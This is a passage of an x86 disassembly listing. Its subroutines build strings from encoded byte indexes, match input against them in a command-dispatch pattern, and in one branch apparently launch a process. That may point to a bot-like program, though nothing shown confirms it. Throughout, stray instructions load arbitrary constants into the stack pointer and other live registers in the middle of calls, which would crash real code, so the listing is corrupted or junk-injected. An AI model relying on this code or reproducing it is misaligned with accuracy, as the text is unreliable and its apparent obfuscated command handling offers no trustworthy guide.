var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	18EAB5h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_40206D
		lea	ecx, [esi+49h]
		mov	[esp+14h+var_4], 0
		call	sub_40206D
		lea	ecx, [esi+92h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40206D
		lea	ecx, [esi+0DBh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40206D
		lea	ecx, [esi+124h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40206D
		lea	ecx, [esi+16Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40206D
		lea	ecx, [esi+1B6h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_40206D
		lea	ecx, [esi+1FFh]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_40206D
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403A20	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403B00	proc near		; CODE XREF: sub_401EFBj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	4C755Ah
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+1FFh]
		mov	[esp+14h+var_4], 6
		call	sub_4019F1
		lea	ecx, [esi+1B6h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_4019F1
		lea	ecx, [esi+16Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_4019F1
		lea	ecx, [esi+124h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_4019F1
		lea	ecx, [esi+0DBh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_4019F1
		lea	ecx, [esi+92h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_4019F1
		lea	ecx, [esi+49h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_4019F1
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_4019F1
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403B00	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403BE0	proc near		; CODE XREF: sub_401C0Dj

var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	263AADh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		push	ebp
		push	esi
		push	edi
		push	0
		push	4
		push	9
		push	4Fh
		lea	eax, [esp+70h+var_3C]
		push	2
		mov	esi, ecx
		push	eax
		call	sub_4018DE
		add	esp, 18h
		push	esi
		mov	ecx, eax
		mov	[esp+64h+var_4], 0
		call	sub_401726
		lea	ecx, [esi+0C29h]
		push	eax
		push	ecx
		mov	edx, 6131D5h
		call	sub_401523
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_4011F9
		push	0
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4
		push	0Eh
		push	12h
		push	4Fh
		lea	edx, [esp+84h+var_3C]
		push	2
		push	edx
		call	sub_4018DE
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+64h+var_4], 1
		call	sub_401726
		push	eax
		lea	eax, [esi+0BCDh]
		push	eax
		mov	ebp, 2B898Eh
		call	sub_401523
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_4011F9
		push	0
		push	14h
		push	15h
		push	0Fh
		push	2
		push	1
		push	4Fh
		lea	ecx, [esp+7Ch+var_3C]
		push	2
		push	ecx
		call	sub_4018DE
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+64h+var_4], 2
		call	sub_401726
		lea	edx, [esi+0C57h]
		push	eax
		push	edx
		mov	esp, 0A0AE26h
		call	sub_401523
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_4011F9
		push	0
		push	5
		push	12h
		push	15h
		push	3
		push	5
		push	13h
		push	4Fh
		lea	eax, [esp+80h+var_3C]
		push	2
		push	eax
		call	sub_4018DE
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+64h+var_4], 3
		call	sub_401726
		lea	ecx, [esi+0DF5h]
		push	eax
		push	ecx
		mov	ecx, 26C2B8h
		call	sub_401523
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_4011F9
		push	0
		push	0Fh
		push	6
		push	0Eh
		push	9
		push	13h
		push	19h
		push	13h
		push	4Fh
		lea	edx, [esp+84h+var_3C]
		push	2
		push	edx
		call	sub_4018DE
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+64h+var_4], 4
		call	sub_401726
		push	eax
		lea	eax, [esi+0C85h]
		push	eax
		mov	ebp, offset word_48DB0A
		call	sub_401523
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_4011F9
		push	0
		push	5
		push	16h
		push	0Fh
		push	0Dh
		push	5
		push	12h
		push	4Fh
		lea	ecx, [esp+80h+var_3C]
		push	2
		push	ecx
		call	sub_4018DE
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+64h+var_4], 5
		call	sub_401726
		lea	edx, [esi+0B71h]
		push	eax
		push	edx
		mov	ecx, offset dword_458DB0
		call	sub_401523
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_4011F9
		push	0
		push	13h
		push	0Eh
		push	4
		push	8
		push	13h
		push	15h
		push	0Ch
		push	6
		push	4Fh
		lea	eax, [esp+88h+var_3C]
		push	2
		push	eax
		call	sub_4018DE
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	[esp+64h+var_4], 6
		call	sub_401726
		lea	ecx, [esi+0DC7h]
		push	eax
		push	ecx
		mov	esi, 0CE8B1Bh
		call	sub_401523
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_4011F9
		push	0
		push	0Eh
		push	5
		push	10h
		push	0Fh
		push	4Fh
		lea	edx, [esp+78h+var_3C]
		push	2
		push	edx
		call	sub_4018DE
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+64h+var_4], 7
		call	sub_401726
		push	eax
		lea	eax, [esi+0D0Fh]
		push	eax
		mov	ebx, 2CE8B1h
		call	sub_401523
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_4011F9
		push	0
		push	14h
		push	9
		push	15h
		push	11h
		push	4Fh
		lea	ecx, [esp+78h+var_3C]
		push	2
		push	ecx
		call	sub_4018DE
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+64h+var_4], 8
		call	sub_401726
		lea	edx, [esi+0D99h]
		push	eax
		push	edx
		mov	edx, 59D1h
		call	sub_401523
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_4011F9
		push	0
		push	4
		push	0Dh
		push	3
		push	4Fh
		lea	eax, [esp+74h+var_3C]
		push	2
		push	eax
		call	sub_4018DE
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	[esp+64h+var_4], 9
		call	sub_401726
		lea	ecx, [esi+0E23h]
		push	eax
		push	ecx
		mov	edi, 8E20B3h
		call	sub_401523
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_4011F9
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		lea	edx, [esp+74h+var_3C]
		push	2
		push	edx
		call	sub_4018DE
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	[esp+64h+var_4], 0Ah
		call	sub_401726
		push	eax
		lea	eax, [esi+0D6Bh]
		push	eax
		mov	esi, 0A8E20Bh
		call	sub_401523
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_4011F9
		push	0
		push	13h
		push	0Eh
		push	4
		push	4Fh
		lea	ecx, [esp+74h+var_3C]
		push	2
		push	ecx
		call	sub_4018DE
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	[esp+64h+var_4], 0Bh
		call	sub_401726
		lea	edx, [esi+0D3Dh]
		push	eax
		push	edx
		mov	ecx, 0CB8E20h
		call	sub_401523
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_4011F9
		push	0
		push	5
		push	0Dh
		push	9
		push	14h
		push	10h
		push	15h
		push	0Ch
		push	4Fh
		lea	eax, [esp+84h+var_3C]
		push	2
		push	eax
		call	sub_4018DE
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+64h+var_4], 0Ch
		call	sub_401726
		push	eax
		lea	ecx, [esi+0CB3h]
		push	ecx
		mov	esp, 0CDB8Eh
		call	sub_401523
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_4011F9
		push	0
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Fh
		lea	edx, [esp+78h+var_3C]
		push	2
		push	edx
		call	sub_4018DE
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+64h+var_4], 0Dh
		call	sub_401726
		push	eax
		lea	eax, [esi+0CE1h]
		push	eax
		mov	esp, 60736Eh
		call	sub_401523
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_4011F9
		lea	ecx, [esi+9]
		call	sub_401726
		lea	ecx, [esp+60h+var_54]
		push	eax
		push	ecx
		call	sub_401EBF
		add	esp, 8
		push	0
		push	25h
		push	1Dh
		push	23h
		lea	edx, [esp+70h+var_3C]
		push	28h
		push	edx
		mov	[esp+78h+var_4], 0Eh
		call	sub_4018DE
		add	esp, 18h
		mov	ebp, eax
		lea	ecx, [esp+60h+var_54]
		mov	byte ptr [esp+60h+var_4], 0Fh
		call	sub_401726
		push	eax
		mov	ecx, ebp
		call	sub_401726
		push	eax
		push	3039B7h
		push	581CDBh
		call	sub_401CDA
		add	esp, 10h
		lea	ecx, [esp+60h+var_3C]
		mov	byte ptr [esp+60h+var_4], 0Eh
		call	sub_4011F9
		push	20h
		lea	eax, [esp+64h+var_24]
		push	0
		push	eax
		lea	ecx, [esp+6Ch+var_54]
		call	sub_40127B
		mov	ecx, eax
		mov	byte ptr [esp+60h+var_4], 10h
		call	sub_401726
		push	eax
		push	6C0E6Dh
		push	760736h
		call	sub_40102D
		add	esp, 0Ch
		mov	byte ptr [esp+60h+var_4], 0Eh
		lea	ecx, [esp+60h+var_24]
		call	sub_4011F9
		call	dword ptr ds:3B039Bh
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		shr	edx, 6
		lea	ecx, [esp+60h+var_54]
		mov	[esi+5], edx
		mov	[esp+60h+var_4], edi
		call	sub_4011F9
		mov	ecx, [esp+60h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 54h
		retn
sub_403BE0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 150h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404260	proc near		; CODE XREF: sub_40194Cj

var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	0FFFFFFFFh
		push	5D81CDh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 7Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+94h+arg_0]
		mov	ebp, ecx
		push	edi
		lea	ebx, [esi+2Ah]
		push	0
		mov	ecx, ebx
		mov	[esp+9Ch+var_88], ebp
		call	sub_40141A
		mov	cl, [eax]
		lea	edi, [esi+69h]
		cmp	cl, 23h
		jnz	short loc_4042A2
		push	ebx
		jmp	short loc_4042A6
; ---------------------------------------------------------------------------


loc_4042A2:				; CODE XREF: sub_404260+3Dj
		lea	eax, [esi+15h]
		push	eax


loc_4042A6:				; CODE XREF: sub_404260+40j
		mov	ecx, edi
		call	sub_401E65
		mov	al, [esi+94h]
		test	al, al
		jz	short loc_4042C2
		lea	ecx, [esi+15h]
		push	ecx
		mov	ecx, edi
		call	sub_401E65


loc_4042C2:				; CODE XREF: sub_404260+55j
		mov	al, [esi+95h]
		test	al, al
		jz	short loc_40433F
		lea	ecx, [esp+98h+var_6C]
		call	sub_4013CF
		push	6EC0E6h
		mov	ecx, esi
		mov	[esp+9Ch+var_4], 0
		call	sub_40138E
		add	eax, 3
		lea	edx, [esp+98h+var_54]
		push	eax
		push	edx
		mov	ecx, esi
		call	sub_401CF8
		push	eax
		lea	ecx, [esp+9Ch+var_6C]
		mov	byte ptr [esp+9Ch+var_4], 1
		call	sub_401E65
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], 0
		call	sub_4011F9
		lea	eax, [esp+98h+var_6C]
		mov	ecx, edi
		push	eax
		call	sub_401E65
		lea	ecx, [esp+98h+var_6C]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_4011F9


loc_40433F:				; CODE XREF: sub_404260+6Aj
		push	376073h
		lea	ecx, [esp+9Ch+var_6C]
		push	0
		push	ecx
		mov	ecx, esi
		call	sub_401622
		lea	edx, [esp+98h+var_54]
		mov	esi, 0E37607h
		push	1
		push	edx
		mov	ecx, eax
		mov	[esp+0A0h+var_4], ebx
		call	sub_401CF8
		lea	edi, [esi+7Eh]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+9Ch+var_4], 3
		call	sub_401E65
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_4011F9
		lea	ecx, [esp+98h+var_6C]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		push	0
		lea	ecx, [ebp+32Ch]
		call	sub_40141A
		push	0
		mov	ecx, esi
		mov	ebp, eax
		call	sub_40141A
		mov	al, [eax]
		mov	cl, [ebp+0]
		cmp	al, cl
		jnz	loc_40460A
		push	0
		push	14h
		push	1
		push	5
		push	10h
		push	5
		push	12h
		push	4Eh
		push	14h
		push	0Fh
		lea	ecx, [esp+0C0h+var_54]
		push	ebx
		push	ecx
		call	sub_4018DE
		add	esp, 30h
		mov	ecx, eax
		mov	[esp+98h+var_4], 4
		call	sub_401726
		push	eax
		mov	ecx, edi
		call	sub_4012B7
		test	eax, eax
		jnz	short loc_40442F
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+0B0h+arg_0], esp
		push	edx
		call	sub_40146F
		mov	eax, 6BCDD8h
		call	sub_401BAE
		test	eax, eax
		jz	short loc_40442F
		mov	bl, 1
		jmp	short loc_404431
; ---------------------------------------------------------------------------


loc_40442F:				; CODE XREF: sub_404260+1A6j
					; sub_404260+1C9j
		xor	bl, bl


loc_404431:				; CODE XREF: sub_404260+1CDj
		lea	ecx, [esp+98h+var_54]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		test	bl, bl
		jz	loc_4045EE
		push	3DE6ECh
		lea	eax, [esp+9Ch+var_54]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_401622
		push	1EF376h
		mov	ecx, eax
		mov	[esp+9Ch+var_4], 5
		call	sub_4012B7
		test	eax, eax
		lea	ecx, [esp+98h+var_54]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		setz	bl
		call	sub_4011F9
		test	bl, bl
		jnz	loc_40460A
		push	4F79BBh
		lea	ecx, [esp+9Ch+var_54]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_401622
		mov	ecx, eax
		mov	[esp+98h+var_4], 6
		call	sub_401726
		push	eax
		call	dword ptr ds:27BCDDh
		add	esp, 4
		lea	ecx, [esp+98h+var_54]
		mov	ebp, eax
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		test	ebp, ebp
		jz	loc_40460A
		push	20h
		mov	ecx, esi
		call	sub_401BFE
		lea	edx, [esp+98h+var_84]
		push	eax
		push	edx
		mov	ecx, esi
		call	sub_401CF8
		mov	ebp, 653DE6h
		push	20h
		lea	ecx, [esp+9Ch+var_84]
		mov	[esp+9Ch+var_4], ebx
		call	sub_401BFE
		push	eax
		lea	eax, [esp+9Ch+var_54]
		push	eax
		lea	ecx, [esp+0A0h+var_84]
		call	sub_401CF8
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		mov	byte ptr [esp+9Ch+var_4], 8
		call	sub_401EAB
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_4011F9
		lea	ecx, [esp+98h+var_84]
		push	ecx
		mov	ecx, esi
		call	sub_401E65
		push	329EF3h
		lea	edx, [esp+9Ch+var_24]
		push	0
		push	edx
		mov	ecx, esi
		call	sub_401622
		lea	ecx, [esp+98h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+0A0h+var_4], 9
		call	sub_401CF8
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+9Ch+var_4], 0Ah
		call	sub_401E65
		lea	ecx, [esp+98h+var_3C]
		mov	byte ptr [esp+98h+var_4], 9
		call	sub_4011F9
		lea	ecx, [esp+98h+var_24]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_4011F9
		mov	al, [esp+98h+arg_4]
		test	al, al
		jnz	short loc_4045C7
		test	ebp, ebp
		jle	short loc_4045D8


loc_4045B8:				; CODE XREF: sub_404260+363j
		mov	ecx, [esp+98h+var_88]
		push	esi
		call	sub_401E1F
		dec	ebp
		jnz	short loc_4045B8
		jmp	short loc_4045D8
; ---------------------------------------------------------------------------


loc_4045C7:				; CODE XREF: sub_404260+352j
		test	ebp, ebp
		jle	short loc_4045D8


loc_4045CB:				; CODE XREF: sub_404260+376j
		mov	ecx, [esp+98h+var_88]
		push	esi
		call	sub_4013ED
		dec	ebp
		jnz	short loc_4045CB


loc_4045D8:				; CODE XREF: sub_404260+356j
					; sub_404260+365j ...
		lea	ecx, [esp+98h+var_84]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		jmp	short loc_40460A
; ---------------------------------------------------------------------------


loc_4045EE:				; CODE XREF: sub_404260+1E7j
		mov	al, [esp+98h+arg_4]
		mov	ecx, [esp+98h+var_88]
		test	al, al
		push	esi
		jnz	short loc_404605
		call	sub_401E1F
		jmp	short loc_40460A
; ---------------------------------------------------------------------------


loc_404605:				; CODE XREF: sub_404260+39Cj
		call	sub_4013ED


loc_40460A:				; CODE XREF: sub_404260+162j
					; sub_404260+232j ...
		mov	ecx, [esp+98h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 88h
		retn	8
sub_404260	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404730	proc near		; CODE XREF: sub_401E1Fj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, 8B29EFh
		call	sub_401479
		mov	esi, [esp+8+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012B7
		test	eax, eax
		jz	short loc_404776
		sub	esp, 18h
		lea	eax, [esi+15h]
		mov	ecx, esp
		mov	[esp+20h+arg_0], esp
		push	eax
		call	sub_40146F
		mov	edi, 0E22CA7h
		call	sub_401BAE
		test	eax, eax
		jnz	short loc_404776
		xor	al, al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404776:				; CODE XREF: sub_404730+1Dj
					; sub_404730+3Dj
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+20h+arg_0], esp
		push	edx
		call	sub_40146F
		mov	ebp, 8388B2h
		call	sub_401BAE
		test	eax, eax
		jnz	short loc_4047B6
		mov	al, [edi+469h]
		test	al, al
		jz	short loc_4047B6
		push	0
		lea	ecx, [esi+2Ah]
		call	sub_40141A
		cmp	byte ptr [eax],	23h
		jz	short loc_4047B6
		xor	al, al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_4047B6:				; CODE XREF: sub_404730+64j
					; sub_404730+6Ej ...
		push	esi
		mov	ecx, edi
		call	sub_4013ED
		pop	edi
		pop	esi
		retn	4
sub_404730	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404800	proc near		; CODE XREF: sub_4013EDj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	1
		lea	ecx, [esi+7Eh]
		call	sub_401726
		push	eax
		mov	esi, 8388Bh
		call	sub_401A0F
		test	eax, eax
		jz	short loc_40482A
		mov	ecx, [eax+2Ah]
		push	esi
		mov	eax, [ecx]
		call	dword ptr [eax]
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40482A:				; CODE XREF: sub_404800+1Cj
		xor	al, al
		pop	esi
		retn	4
sub_404800	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404840	proc near		; CODE XREF: sub_4017A3j
		push	esi
		push	edi
		mov	edi, ds:dword_4B38D0
		mov	esi, ecx
		call	edi
		mov	edx, ds:dword_48875F
		mov	ecx, [esi+421h]
		sub	eax, edx
		cmp	eax, ecx
		jbe	short loc_40486F
		mov	ecx, 618388h
		call	sub_401BEA
		call	edi
		mov	ds:dword_48875F, eax


loc_40486F:				; CODE XREF: sub_404840+1Cj
		pop	edi
		mov	al, 1
		pop	esi
		retn
sub_404840	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404890	proc near		; CODE XREF: sub_40170Dj

var_168		= dword	ptr -168h
var_164		= byte ptr -164h
var_154		= byte ptr -154h
var_150		= byte ptr -150h
var_14D		= byte ptr -14Dh
var_14C		= byte ptr -14Ch
var_134		= byte ptr -134h
var_11C		= byte ptr -11Ch
var_10C		= byte ptr -10Ch
var_100		= byte ptr -100h
var_F0		= dword	ptr -0F0h
var_E8		= byte ptr -0E8h
var_D0		= dword	ptr -0D0h
var_A0		= byte ptr -0A0h
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_8		= byte ptr  0Ch
arg_C		= byte ptr  10h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	30C1C4h
		push	eax
		mov	large fs:0, esp
		sub	esp, 15Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+174h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebp, [esi+7Eh]
		lea	ecx, [edi+0C29h]
		call	sub_401726
		push	eax
		mov	ecx, ebp
		call	sub_4012B7
		test	eax, eax
		jnz	short loc_404904
		lea	ecx, [esi+69h]
		call	sub_401479
		push	eax
		lea	ecx, [edi+2E3h]
		call	sub_401479
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	esp, 65860Eh
		call	sub_4010FF
		jmp	loc_405295
; ---------------------------------------------------------------------------


loc_404904:				; CODE XREF: sub_404890+40j
		lea	ecx, [edi+0D6Bh]
		call	sub_401726
		push	eax
		mov	ecx, ebp
		call	sub_4012B7
		test	eax, eax
		jnz	loc_404A95
		push	1
		push	32C307h
		lea	edx, [esp+180h+var_14C]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011C2
		push	596183h
		lea	eax, [esp+17Ch+var_100]
		push	1
		push	eax
		mov	ecx, esi
		mov	[esp+184h+var_4], 0
		call	sub_401622
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 1
		call	sub_401726
		push	eax
		call	dword ptr ds:6CB0C1h
		add	esp, 4
		cmp	eax, 1
		lea	ecx, [esp+178h+var_100]
		mov	byte ptr [esp+178h+var_4], 0
		setz	bl
		call	sub_4011F9
		lea	ecx, [esp+178h+var_164]
		call	sub_4013CF
		push	365860h
		push	1B2C30h
		lea	ecx, [esp+180h+var_164]
		mov	byte ptr [esp+180h+var_4], 2
		call	sub_401B40
		push	eax
		lea	ecx, [esp+180h+var_14C]
		call	sub_401726
		push	eax
		call	dword ptr ds:4D9618h
		lea	ecx, [esp+178h+var_164]
		push	ecx
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_401E65
		mov	eax, offset dword_453658
		xor	eax, eax
		lea	edi, [esp+178h+var_D0]
		lea	edx, [esp+178h+var_11C]
		rep stosd
		lea	eax, [esp+178h+var_D0]
		push	edx
		push	eax
		push	0
		neg	bl
		push	0
		push	28h
		sbb	ebx, ebx
		push	1
		and	ebx, 5
		push	0
		push	0
		lea	ecx, [esp+198h+var_14C]
		mov	[esp+198h+var_D0], 44h
		mov	word ptr [esp+198h+var_A0], bx
		call	sub_401479
		push	eax
		push	0
		call	dword ptr ds:229B2Ch
		test	eax, eax
		jnz	short loc_404A69
		lea	ecx, [esi+69h]
		call	sub_401479
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	514D96h
		push	ecx
		push	edx
		mov	esp, 254536h
		call	sub_4010FF
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 0
		call	sub_4011F9
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		jmp	loc_40528E
; ---------------------------------------------------------------------------


loc_404A69:				; CODE XREF: sub_404890+18Cj
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 0
		call	sub_4011F9
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		mov	al, 1
		jmp	loc_405295
; ---------------------------------------------------------------------------


loc_404A95:				; CODE XREF: sub_404890+89j
		lea	ecx, [edi+0B71h]
		call	sub_401479
		push	eax
		mov	ecx, ebp
		call	sub_4012B7
		test	eax, eax
		jnz	loc_404B44
		push	1
		push	12A29Bh
		lea	eax, [esp+180h+var_164]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011C2
		mov	ebx, 812A29h
		mov	[esp+178h+var_4], 3
		call	sub_401726
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4012B7
		test	eax, eax
		jnz	short loc_404B30
		mov	al, ds:byte_44072E
		test	al, al
		jz	short loc_404B00
		push	offset dword_489514
		mov	ecx, 0A244A8h
		call	sub_4013F2


loc_404B00:				; CODE XREF: sub_404890+25Fj
		mov	al, ds:byte_440777
		test	al, al
		jz	short loc_404B18
		push	512254h
		mov	ebp, 6E8912h
		call	sub_40186B


loc_404B18:				; CODE XREF: sub_404890+277j
		mov	edx, 0A7E891h
		call	sub_401D20
		mov	ds:byte_488752,	0
		mov	ds:byte_499254,	0


loc_404B30:				; CODE XREF: sub_404890+256j
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_164]
		jmp	loc_40528E
; ---------------------------------------------------------------------------


loc_404B44:				; CODE XREF: sub_404890+21Aj
		lea	ecx, [edi+0C57h]
		call	sub_401726
		push	eax
		mov	ecx, ebp
		call	sub_4012B7
		test	eax, eax
		jnz	short loc_404B8C
		lea	ecx, [esi+69h]
		call	sub_401479
		push	eax
		mov	edx, 0ED4FD1h
		call	sub_401479
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		mov	edi, 0EBFA9Fh
		call	sub_4010FF
		jmp	loc_405295
; ---------------------------------------------------------------------------


loc_404B8C:				; CODE XREF: sub_404890+2C9j
		lea	ecx, [edi+0DC7h]
		call	sub_401726
		push	eax
		mov	ecx, ebp
		call	sub_4012B7
		test	eax, eax
		jnz	loc_404C49
		push	eax
		push	13h
		push	0Eh
		push	4
		push	8
		push	13h
		push	15h
		push	0Ch
		push	6
		lea	eax, [esp+19Ch+var_14C]
		push	50h
		push	eax
		call	sub_4018DE
		add	esp, 2Ch
		mov	esi, eax
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	7
		push	9
		push	6
		push	0Eh
		push	0Fh
		push	3
		push	10h
		lea	ecx, [esp+1A8h+var_164]
		push	9
		push	ecx
		mov	[esp+1B0h+var_4], 4
		call	sub_4018DE
		add	esp, 38h
		mov	edi, eax
		mov	ecx, esi
		mov	byte ptr [esp+178h+var_4], 5
		call	sub_401726
		push	eax
		mov	ecx, edi
		call	sub_401726
		push	eax
		call	sub_401262
		add	esp, 8
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 4
		call	sub_4011F9
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		mov	al, 1
		jmp	loc_405295
; ---------------------------------------------------------------------------


loc_404C49:				; CODE XREF: sub_404890+311j
		lea	ecx, [edi+0D0Fh]
		call	sub_401726
		push	eax
		mov	ecx, ebp
		call	sub_4012B7
		test	eax, eax
		jnz	loc_404D67
		lea	ecx, [esp+178h+var_14C]
		call	sub_4013CF
		push	75FD4Fh
